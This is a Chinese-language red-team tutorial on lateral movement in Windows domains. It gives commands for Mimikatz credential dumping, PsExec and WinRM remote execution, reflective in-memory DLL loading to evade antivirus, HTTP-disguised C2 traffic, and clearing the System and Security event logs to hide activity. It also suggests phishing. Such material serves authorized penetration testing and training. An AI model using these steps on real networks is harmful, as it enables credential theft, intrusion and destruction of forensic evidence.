0x01 渗透基础设施
谈到内网横向移动,首先我们需要了解目标网络的架构和基础设施。一般企业网络都包含多个关键组件,如域控服务器、文件共享服务器、数据库服务器以及员工工作站等。了解这些组件在网络中的位置、功能及其可能存在的弱点,对于制定渗透策略至关重要。
Windows域环境是红队的重点关注对象。域控服务器(Domain Controller)是域内身份验证的核心,掌控着所有用户、计算机账户的密码。因此,一旦攻破域控,便可以对整个网络为所欲为。除此之外,文件服务器往往存储着敏感的企业文档,而数据库服务器则可能蕴含着关键的业务数据。
某些环境中,也可能存在Linux服务器或其他操作系统,这就需要我们具备平台无关的攻击和工具使用技能。由于大多数内网环境使用Windows,因此本篇文章主要聚焦在Windows域内的横向移动。
网络拓扑图的绘制
在内网环境中,信息收集阶段尤为重要。我们可以使用多种技术来描绘网络拓扑图,识别关键节点和攻击路径。以下是常用的几种方法:
- Net View: 是Windows提供的一个命令行工具,可以帮助我们查看当前计算机所在工作组或域内的计算机列表。
<pre><code class="language-bash"> net view /domain `
这条简单的命令可以让我们获得域中的所有工作站和服务器名称。

- Nmap: 经典的网络扫描器,通过Nmap我们可以识别开放的端口和运行的服务。
`bash nmap -sP 192.168.1.0/24 `
通过ARP扫描技术,我们可以快速获取网络中的活动主机。
- BloodHound: 是一个专门用于分析和可视化活动目录权限的工具。它通过收集域内用户和计算机的关系,帮助我们识别潜在的攻击路径。
`PowerShell
使用 SharpHound 收集数据
.\SharpHound.exe -c All `
将生成的数据文件导入BloodHound GUI中,我们可以直观地看到域内的信任关系和潜在的攻击路径。
0x02 攻击链的逐步展开
在掌握了网络拓扑和关键节点信息后,接下来就是逐步展开攻击链的任务了。在内网环境中,常用的横向移动手段包括凭证窃取、票据传递攻击、远程代码执行等。下面我们详细探讨这些技术及其使用工具。
凭证窃取和利用
Mimikatz是一个经典的工具,用于提取明文密码、哈希、Kerberos票据等重要信息。在获取到某台机器的控制权后,我们可以通过以下方式提取凭证: </code></pre>PowerShell
执行 Mimikatz 提取凭证
Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords" <pre><code> 通过上述命令,我们可能获得多个用户的明文密码和哈希值。特别地,如果目标机器是域控,并且我们获得了域管理员的凭证,那么我们可以进一步使用票据传递攻击(Pass-the-Hash)或票据伪造攻击(Golden Ticket)来扩展控制。
远程代码执行技术
在横向移动过程中,常常需要远程执行代码以在新的机器上获取shell。以下介绍几种常用的RCE技术:
- PsExec: Sysinternals提供的一个工具,可以通过SMB在域内执行命令。
`bash psexec \\192.168.1.20 -u DOMAIN\user -p password cmd `
通过PsExec,我们可以在目标机器上启动一个命令shell。
- WMI (Windows Management Instrumentation): 是Windows提供的一个管理框架,可以用来远程执行命令。
`PowerShell Invoke-Command -ComputerName 192.168.1.20 -ScriptBlock { Start-Process -FilePath "C:\path\to\malicious.exe" } `
使用PowerShell的Invoke-Command,我们可以极为隐蔽地在目标机器上执行任意代码。
- WinRM (Windows Remote Management): 是一种基于HTTP的远程管理协议,常用于执行PowerShell脚本。
`PowerShell Enter-PSSession -ComputerName 192.168.1.20 -Credential DOMAIN\user `
配合恶意脚本使用,WinRM可以实现持久化和横向移动。
0x03 功能进阶与免杀技巧
在内网环境中,许多目标机器可能配置了防病毒软件和EDR(Endpoint Detection and Response),这就需要我们的攻击载荷必须具备免杀功能。以下介绍几种常用的免杀和绕过技术。
加壳与混淆
对恶意载荷进行加壳和代码混淆,是传统且有效的免杀手段。对于Python脚本或PowerShell脚本,我们可以通过脚本混淆工具来降低被检测的概率。 </code></pre>Python
Python代码混淆示例
def obfuscate_code(code):
假装这段代码进行了复杂的混淆处理
return base64.b64encode(code.encode('utf-8')) <pre><code>
内存加载
将恶意代码加载到内存中而不是直接在磁盘上执行,是一种更高级的对抗技术。如下的PowerShell代码展示了如何通过内存加载来绕过静态检测。 </code></pre>PowerShell
通过反射加载恶意DLL到内存中
$bytes = [System.IO.File]::ReadAllBytes("C:\path\to\malicious.dll") $assembly = [System.Reflection.Assembly]::Load($bytes) $assembly.EntryPoint.Invoke($null, @(,@())) <pre><code> 通过这种方式,我们可以有效避开大多数基于特征的检测机制。
协议伪装与流量规避
在执行远程攻击时,我们的恶意流量可能会被检测并阻断。通过协议伪装,我们可以让恶意流量看起来像合法流量。例如,可以将C2流量伪装成常见的HTTP或者HTTPS流量。 </code></pre>Python
简单的HTTP伪装
def send_http_payload(url, payload): headers = {"User-Agent": "Mozilla/5.0"} response = requests.post(url, data=payload, headers=headers) return response.content <pre><code> 通过上述方式,我们可以隐藏恶意流量在正常的网络活动中。
0x04 目标达成与痕迹清除
在成功横向移动并窃取到目标数据后,下一步就是安全退出并清除痕迹。痕迹清除是必不可少的一步,以避免被检测和追溯。
日志清除
Windows系统记录大量的事件日志,通过以下命令我们可以清除指定的日志以掩盖我们的行动。 </code></pre>PowerShell
清除系统日志
Clear-EventLog -LogName System
清除安全日志
Clear-EventLog -LogName Security <pre><code>
删除临时文件和工具
在渗透过程中,我们可能会遗留一些工具和文件。以下命令展示了如何安全地删除这些文件。 </code></pre>PowerShell Remove-Item -Path "C:\path\to\tools" -Recurse -Force `

确保删除所有临时文件和工具,以避免被后续的取证分析发现。
0x05 真实世界经验分享
在多年的红队渗透测试实践中,我们不断遇到各种挑战,不断总结经验。这里分享一些关键技巧,帮助同仁在真实环境中提升效率。
社工与技术结合
在某些防御严密的环境中,技术攻击可能并不总是奏效。这时,社工攻击往往能带来突破口。通过伪装成IT支持人员或者发送钓鱼邮件,我们可以诱使目标执行恶意程序,从而在内网中打开一个窗口。

调整工具链以适应环境
每个内网环境都可能有不同的防护策略,我们的工具链必须灵活适应。在某些环境中,公开工具被严密防范,这时就需要我们开发定制化工具,或者反向工程现有工具以规避特征检测。
持续学习与更新
网络安全领域永远都是动态变化的,攻击技术与防御措施此消彼长。作为攻击者,我们必须保持学习的前沿,了解新的漏洞和工具,才能在渗透测试中立于不败之地。
本文仅限于授权的安全测试和学习,任何滥用行为后果自负。希望本文能为各位安全研究人员提供实用的技术参考。